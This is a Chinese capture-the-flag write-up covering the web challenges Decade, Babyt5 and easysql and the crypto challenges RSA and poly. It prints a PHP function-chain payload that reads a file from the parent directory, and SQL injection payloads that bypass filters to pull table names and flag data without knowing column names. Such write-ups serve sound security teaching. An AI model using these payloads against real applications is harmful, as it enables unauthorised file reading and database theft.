Web
Decade
题目源码
1 |
|
这题跟字节跳动那题差不多,不过比字节跳动那题限制的多一点,这里记录一下
/[a-z]+\((?R)?\)/
这个正则表达式的意思是仅支持无参函数,并且函数名只能为字母,但支持函数套用,如果最后只剩下;
就会通过这个正则表达式
第二个正则表达式是限制了这么多函数不能用,那还有什么函数能用呢?接下来就fuzz一下
1 |
|
发现剩下307个可用函数,根据题目,我们可以知道flag在上层目录,因此需要使用chdir跳转,但是chdir只会返回bool值,我们需要找一个函数接受布尔值并且可以输出”.”
我们先考虑如何读取当前目录下的文件
在php里面读取文件的函数如下:
1 | fgetc — 从文件指针中读取字符 |
在php里面关于文件目录操作的函数如下:
1 | basename( ) //返回路径中的文件名部分 |
这里我们选择scandir
,那么.
怎么得到呢?.
的ascii是46,我们可以通过chr(46)来得到.
表示当前目录,接下来就要考虑怎么得到46了
fuzz一下不需要输入参数就能得到返回的函数
1 | import requests |
得到
1 | phpcredits — 打印 PHP 贡献者名单 |
fuzz一下只需要一个参数的函数
1 | import requests |
得到
1 | ['each', 'defined', 'date', 'idate', 'gmdate', 'readgzfile', 'gzrewind', 'gzclose', 'gzeof', 'gzpassthru', 'gztell', 'gzfile', 'gzcompress', 'gzuncompress', 'gzdeflate', 'gzinflate', 'gzencode', 'bcscale', 'bzread', 'bzflush', 'bzclose', 'bzerrno', 'bzerrstr', 'bzerror', 'bzcompress', 'jdtogregorian', 'jdtojulian', 'jdtojewish', 'jdtofrench', 'jddayofweek', 'jdtounix', 'imagecreatefromstring', 'imagecolorstotal', 'imageistruecolor', 'imagecropauto', 'imagecreatefrompng', 'imagecreatefromjpeg', 'imagecreatefromwbmp', 'imagecreatefromxbm', 'imagecreatefromgd', 'imagepng', 'imagejpeg', 'imagewbmp', 'imagegd', 'imagedestroy', 'imagesx', 'imagesy', 'sleep', 'usleep', 'wordwrap', 'htmlspecialchars', 'iptcparse', 'strtok', 'strtoupper', 'strtolower', 'strrev', 'hebrev', 'hebrevc', 'stripslashes', 'stripcslashes', 'ucfirst', 'lcfirst', 'ucwords', 'addslashes', 'rtrim', 'trim', 'ltrim', 'implode', 'join', 'soundex', 'ord', 'chop', 'urlencode', 'rawurlencode', 'readlink', 'unlink', 'exec', 'system', 'escapeshellcmd', 'escapeshellarg', 'passthru', 'abs', 'ceil', 'floor', 'round', 'sin', 'cos', 'tan', 'asin', 'acos', 'atan', 'atanh', 'sinh', 'cosh', 'tanh', 'asinh', 'acosh', 'putenv', 'serialize', 'unserialize', 'header', 'checkdnsrr', 'floatval', 'doubleval', 'strval', 'boolval', 'pclose', 'rewind', 'rmdir', 'fclose', 'feof', 'fpassthru', 'fstat', 'ftell', 'fflush', 'mkdir', 'file', 'fsockopen', 'pfsockopen', 'pack', 'crypt', 'opendir', 'chdir', 'dir', 'scandir', 'glob', 'filegroup', 'fileinode', 'fileowner', 'fileperms', 'filesize', 'stat', 'lstat', 'touch', 'diskfreespace', 'ksort', 'krsort', 'asort', 'arsort', 'sort', 'rsort', 'shuffle', 'end', 'prev', 'next', 'key', 'min', 'max', 'extract', 'compact', 'pos', 'sizeof', 'assert', 'virtual'] |
通过搜索与测试,chr(ord(hebrevc(crypt(phpversion()))))
即chr(ord(hebrevc(crypt(1))))
可以得到.
和$
两种结果,多试几次就可以比较容易得到.
,于是直接采用这个方法,得到.
之后,使用scandir
和next
可以得到..
在PHP中有一组函数是关于操作数组内部指针指向的函数
1 | current() - 返回数组中的当前元素的值 |
接下来使用chdir
返回上一级目录,成功会返回1,因此这里重复第一步构造一个点,然后扫描当前目录,通过end
函数获得文件名,使用file
函数将整个文件读入数组再使用implode就可以读取文件内容了,最终payload:
1 | echo(implode(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))))); |
更详细请参考:https://www.freebuf.com/column/221178.html
Babyt5
安恒月赛题
https://www.jianshu.com/p/804d95f6d6fb
easysql
手动测试了一下,过滤了,、and、or、union select,union select可用union all select绕过
参考此篇文章进行bypass
database:cccttffff
1 | ?id=' union all select * from ((select 1)a join (select database())b join (select 3)c join (select 4)d)%23 |
由于information无法使用,因此使用mysql.innodb_table_stats
代替information_schema.tables
table:article,fl111aa44a99g
1 | ?id=' union all select * from ((select 1)a join (select database())b join (select 3)c join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())d)%23 |
接下来就是无列名注入get flag
1 | ?id=' union all select * from ((select 1)a join (select F.3 from (select * from (select 1)u join (select 2)i join (select 3)o union all select * from fl111aa44a99g limit 1 offset 1)F)b join (select 3)c join (select 4)d)%23 |
Crypto
RSA
根据题目条件计算得到p+q
1 | n = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797 |
p+q
1 | 196075640660409986135975784767502028538644025058282395628670981900974958890619954451344723318649578431744942274184506178219307129498083095220609328355931687266846079805131400737270051437647584592782747418213354229728108610925547647805880482097163218511341484311783416306321402379596024705973981708966729752698 |
通过z3求解方程即可算出p、q
1 | from z3 import * |
p
1 | 89516168421901993249082527171566896585255089161654435795639393653714938085176717624166720396457043359717304975102306007578654871083121175803454922681698922194906414804214604517410856199189184886589639271288946105569496874593987805690922703821405554650664707364293232855974170175729835163792122422002418728851 |
q
1 | 106559472238507992886893257595935131953388935896627959833031588247260020805443236827178002922192535072027637299082200170640652258414961919417154405674232765071939665000916796219859195238458399706193108146924408124158611736331559842114957778275757663860676776947490183450347232203866189542181859286964311023847 |
通过pow(123,e,n)爆破e,得到e=251
1 | import gmpy2 |
poly
通过多项式域上的二元一次方程恢复k1、k2,再通过一元一次方程求出msg0、msg1
1 | import binascii |
poly_rev
跟poly一样